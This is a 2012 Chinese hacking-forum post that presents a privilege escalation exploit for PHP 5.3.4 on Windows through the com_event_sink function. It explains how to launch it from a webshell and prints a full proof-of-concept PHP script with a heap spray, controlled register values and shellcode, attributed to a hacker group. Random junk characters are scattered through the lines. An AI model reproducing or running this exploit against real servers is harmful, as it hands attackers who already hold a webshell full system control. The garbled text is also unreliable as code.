找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2152|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中/ I0 i' o3 a- R4 D: y2 T

9 p8 F6 ?' f$ |测试方法如下:cmd /c x:\php\php.exe x:\test.php, p% z1 l3 |7 L7 V) o
( L) e; m9 p9 Z+ ?7 h/ I+ V
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php
: s5 v7 `# D: @这里是两个测试的截图:
/ p6 A  S& r1 Q! o+ C* f+ S/ l& i( C2 h- n0 f

8 u, Y' t# F0 w4 f8 m( D! x
$ R- e3 S; G, Z* T( `
( d) U+ B' x. o6 E1 c# j" z9 q3 C- O4 {& A8 c! @/ _8 a
成功利用此漏洞的攻击者将获得系统的最高权限! e9 h2 t4 ^: n( ?

' p8 t  I8 g) v" c% I
8 ^+ Z, q  Z" T' M; a
8 J! `7 X1 W8 l4 }$ n; D/ V
  k0 |. j, \# L
: b& r* M; s# i6 O9 |2 r8 C$ P关于漏洞分析稍后附上。一下是PoC代码:3 N9 `" ~- {: }1 B5 K
% k  S$ U4 ?3 D8 ?
<?php" B% R5 m/ l8 I
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
: R* ^) l3 G/ M% ^6 Q0 K# S; N# ^0 B2 z//$eip ="\x44\x43\x42\x41";& l- ~: Z. P. }" \( K( p: X
$eip= "\x4b\xe8\x57\x78";( d- N# Q- r9 }& Y
$eax ="\x80\x01\x8d\x04";3 [5 H/ R) ?! j/ H5 @# E
$deodrant="";# e( U7 v5 M  r0 V: r$ R
$axespray = str_repeat($eip.$eax,0x80);
$ _) i/ I) [* I  l2 W* y//048d0190
9 p) E7 F+ Z! }5 w+ [; Yecho strlen($axespray);
' O/ P2 Y# L6 D0 i3 q# secho "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";+ I* @6 u$ L% i* s) F; p
echo "Silic Group Hacker Army - BlackBap.Org";5 ~4 \: N( g4 g* C+ {  Z
//19200 ==4B32 4b001 o1 ^4 j; S& x. ~) Y, {& I
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}+ [4 x1 Z+ V% C& o
$terminate = "T";& B, G$ C6 A8 V8 x; P" f9 y7 X- l
$u[] =$deodrant;
$ m7 {4 J1 |6 Y9 [2 k$r[] =$deodrant.$terminate;+ s' P: t2 {; t8 @9 Y' j
$a[] =$deodrant.$terminate;
# i) j9 ]5 |) ~( H$s[] =$deodrant.$terminate;
0 E' ?. ^8 `" M5 E3 |//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的
2 a8 T" k5 P/ E. o9 f" s$vVar = new VARIANT(0x048d0000+180);
& M( \1 G. e" D* n  u& P1 V0 R//弹窗代码(Shellcode)% S( e# B* n" ]+ e
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
; X* c! [; |. n% w6 H$var2 = new VARIANT(0x41414242);
' f/ ^3 _! h# W1 O5 `* L0 H! P% ucom_event_sink($vVar,$var2,$buffer);
& w0 i( E1 p" d1 f/ X& i?>
: c. v+ B' Z  A

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表